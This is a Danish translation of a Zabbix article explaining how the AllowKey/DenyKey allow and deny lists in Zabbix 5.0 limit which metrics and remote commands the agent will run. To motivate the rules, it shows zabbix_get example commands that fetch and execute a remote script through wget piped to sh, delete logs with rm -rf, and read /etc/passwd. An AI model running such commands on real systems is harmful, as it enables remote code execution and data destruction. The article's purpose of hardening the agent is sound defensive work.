
Understøttelse af sorte og hvide lister for metrics på agentsiden
Tikhon Uskov, Integrationsingeniør, Zabbix
Datasikkerhedsproblemer
I Zabbix 5.0 introduceredes en ny funktion, der forbedrer sikkerheden i systemer, der bruger Zabbix Agent, og som erstatter den gamle parameter EnableRemoteCommands.
Forbedringen af sikkerheden i systemer, der bruger agenten, skyldes, at agenten kan udføre mange potentielt farlige handlinger.
- Agenten kan indsamle nærmest enhver information, herunder fortrolige eller potentielt farlige data, fra konfigurationsfiler, logfiler, passwordsfiler eller andre filer.
For eksempel kan man med værktøjet zabbix_get få adgang til listen over brugere, deres hjemmekataloger, passwordfiler osv.

Adgang til data med værktøjet zabbix_get
BEMÆRKNING. Data kan kun indhentes, hvis agenten har læserettigheder til den relevante fil. Men for eksempel er filen /etc/passwd/ tilgængelig for læsning for alle brugere.
- Agenten kan også udføre potentielt farlige kommandoer. For eksempel giver nøgle *system.run[]** mulighed for at udføre enhver fjernkommando på netværksnoder, inklusive at køre scripts fra Zabbix webgrænsefladen, som også udfører kommandoer på agentsiden.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]- I Linux kører agenten som standard uden root-rettigheder, mens den i Windows kører som en tjeneste under System og har ubegrænset adgang til filsystemet. Derfor, hvis der ikke er foretaget ændringer i Zabbix Agent-indstillingerne efter installationen, har agenten adgang til registreringsdatabasen, filsystemet og kan udføre WMI-forespørgsler.
I tidligere versioner tillod parameteren EnableRemoteCommands=0 kun at deaktivere metrics med nøgle *system.run[]** og udførelse af scripts fra webgrænsefladen, men der var ikke mulighed for at begrænse adgangen til enkelte filer, tillade eller forbyde individuelle nøgler, der blev installeret med agenten, eller begrænse brugen af enkelte parametre.

Brugen af parameteren EnableRemoteCommand i tidligere versioner af Zabbix
AllowKey/DenyKey
Zabbix 5.0 hjælper med at beskytte mod sådan uautoriseret adgang gennem hvide og sorte lister til godkendelse og forbud af metrics på agentsiden.
I Zabbix 5.0 er alle nøgler, inklusive *system.run[]**, tilladt, og to nye agentkonfigurationsparametre er tilføjet:
AllowKey= — tilladte kontroller;
DenyKey= — forbudte kontroller;
hvor — er mønsteret for nøgle-navnet med parametre, hvor der anvendes metategn (*).
Nøglerne AllowKey og DenyKey giver mulighed for at tillade eller forbyde enkelte metricer i henhold til et bestemt mønster. I modsætning til andre konfigurationsparametre er antallet af AllowKey/DenyKey-parametre ikke begrænset. Dette muliggør en klar definition af, hvad agenten kan gøre i systemet ved at skabe et træ af kontroller — udførte nøgler, hvor rækkefølgen af deres angivelse spiller en meget vigtig rolle.
Reglernes rækkefølge
Reglerne kontrolleres i den rækkefølge, de er indført i konfigurationsfilen. Kontrollen af nøgle baseres på reglerne frem til det første match, og så snart nøglen for datalamentet matcher mønsteret, tillades eller forbys den. Kontrollen af reglerne stoppes herefter, og de resterende nøgler ignoreres.
Derfor, hvis et element matcher både et tilladende og et forbudt regelsæt, vil resultatet afhænge af, hvilken regel der er først i konfigurationsfilen.

2 forskellige regler med samme mønster og nøgle vfs.file.size[\/tmp\/file]
Rækkefølgen for brugen af nøglerne AllowKey/DenyKey:
- præcise regler,
- generelle regler,
- forbudne regler.
For eksempel, hvis du har brug for adgang til filer i en bestemt mappe, skal du først tillade adgang til dem, hvorefter du skal forbyde alt det andet, der ikke falder ind under de fastsatte tilladelser. Hvis et forbudt regelsæt bliver brugt først, vil adgangen til mappen blive forbudt.

Den korrekte rækkefølge
Hvis det er nødvendigt at tillade kørsel af 2 værktøjer gennem *system.run[]**, og hvis et forbudt regelsæt angives først, vil værktøjerne ikke kunne køre, fordi det første mønster altid vil matche enhver nøgle, og efterfølgende regler vil blive ignoreret.

Den forkerte rækkefølge
Mønstre
Hovedregler
Mønsteret er et udtryk med pladsholdere (wildcard). Metategnet (*) svarer til et vilkårligt antal vilkårlige symboler i en bestemt position. Metategn kan bruges både i nøgle-navnet og i parametrene. For eksempel, et første parameter kan defineres strengt med tekst, mens det efterfølgende angives som wildcard.
Parametre skal være indkapslet i firkantede parenteser [].
system.run[*— forkertvfs.file*.txt]— forkertvfs.file.*[*]— korrekt
Eksempler på brug af wildcard.
- I nøgle-navnet og i parameteren. I dette tilfælde svarer nøglen ikke til en tilsvarende nøgle, der ikke indeholder parameteren, da vi har angivet et mønster for at få et bestemt endelse i nøgle-navnet og et sæt af parametre.
- Hvis der ikke er brugt firkantede parenteser i mønsteret, tillader mønsteret alle nøgler, der ikke indeholder parametre, og forbyder alle nøgler med den angivne parameter.
- Hvis nøglen er skrevet fuldt ud, og parametrene angives som wildcard, vil den matche en hvilken som helst tilsvarende nøgle med vilkårlige parametre og vil ikke matche en nøgle uden firkantede parenteser, dvs. vil tillades eller forbydes.

Regler for udfyldning af parametre.
- Hvis der forventes brug af nøgler med parametre, skal parametrene være anført i konfigurationsfilen. Parametrene skal angives som metakarakterer. Det er nødvendigt at være forsigtig med at forbyde adgang til en hvilken som helst fil og overveje, hvilke oplysninger metrisk system kan returnere under forskellige skrivenormer — med og uden parametre.

Særlige forhold ved skrivning af nøgler med parametre
- Hvis nøglen angives med parametre, men parametrene er valgfrie og angivet som metakarakterer, vil nøglen uden parametre blive tilladt. For eksempel, hvis du vil forbyde at få oplysninger om CPU-belastningen og angiver, at nøglen system.cpu.load[*] skal forbydes, skal du huske, at nøglen uden parametre vil returnere det gennemsnitlige belastningsniveau.

Regler for udfyldning af parametre
Noter
Indstillinger
- Nogle regler kan ikke ændres af brugeren, f.eks. regler for opdagelse (discovery) eller automatisk registrering af agenter. Reglerne AllowKey/DenyKey berører ikke følgende parametre:
— HostnameItem
— HostMetadataItem
— HostInterfaceItem
BEMÆRKNING. Hvis en administrator forbyder en nøgle, vil Zabbix ikke give nogen information om, hvorfor metrisk data eller nøglen falder ind under kategorien ‘NOTSUPPORTED‘. I agentens logfiler vises information om forbud mod eksterne kommandoer ikke. Dette er gjort af sikkerhedsmæssige årsager, men kan gøre fejlsøgning vanskelig, hvis målinger falder ind under en ikke-understøttet kategori af en eller anden grund..
- Man skal ikke forvente en bestemt rækkefølge for tilslutning af eksterne konfigurationsfiler (for eksempel i alfabetisk rækkefølge).
Kommando-linje værktøjer
Efter opsætning af reglerne skal man sikre sig, at alt er korrekt konfigureret.
Der er tre muligheder:
- Tilføj en metrisk til Zabbix.
- Test med zabbix_agentd. Zabbix-agenten med optionen -print (-p) viser alle nøgler (som er tilladt som standard), bortset fra dem, der ikke er tilladt af konfigurationen. Og med optionen -test (-t) for den ikke-tilladte nøgle returneres ‘Unsupported item key‘.
- Test med zabbix_get. Utility zabbix_get med indstillingen -k returnerer ‘ZBX_NOTSUPPORTED: Unknown metric‘.
Tillad eller nægt
Du kan nægte adgang til filen og for eksempel bekræfte det med værktøjet zabbix_get, at adgangen til filen er nægtet.

**
BEMÆRKNING. Anførselstegn i parameteren ignoreres.
Adgangen til en sådan fil kan dog tillades på en anden måde. For eksempel, hvis der er en symbolsk link til den.

Det anbefales at teste forskellige anvendelser af de angivne regler og tage højde for muligheder for at omgå forbud.
Spørgsmål og svar
Spørgsmål. Hvorfor er der valgt et så komplekst mønster-sprog til at beskrive regler, tilladelser og forbud? Hvorfor var det ikke muligt at bruge for eksempel regulære udtryk, som Zabbix anvender?
Svar. Det er et spørgsmål om ydeevne med regex, da agenten typisk er én, og den kontrollerer et enorme antal metrikker. Regex er en relativt tung operation, og vi kan ikke kontrollere tusindvis af metrikker på den måde. Wildcards er en universel, bredt anvendt og simpel løsning..
Spørgsmål. Bliver Include-filer ikke indlæst i alfabetisk rækkefølge?
Svar. Så vidt jeg ved, er det faktisk umuligt at forudsige rækkefølgen for anvendelse af reglerne, hvis du spreder dem over forskellige filer. Jeg anbefaler at samle alle reglerne AllowKey/DenyKey i en enkelt Include-fil, da de interagerer med hinanden, og at tilknytte denne fil..
Spørgsmål. I Zabbix 5.0 findes optionen ‘EnableRemoteCommands=‘ i konfigurationsfilen ikke, og kun AllowKey/DenyKey er tilgængelige?
Svar. Ja, det er korrekt..
Tak for din opmærksomhed!
Kilde: habr.com
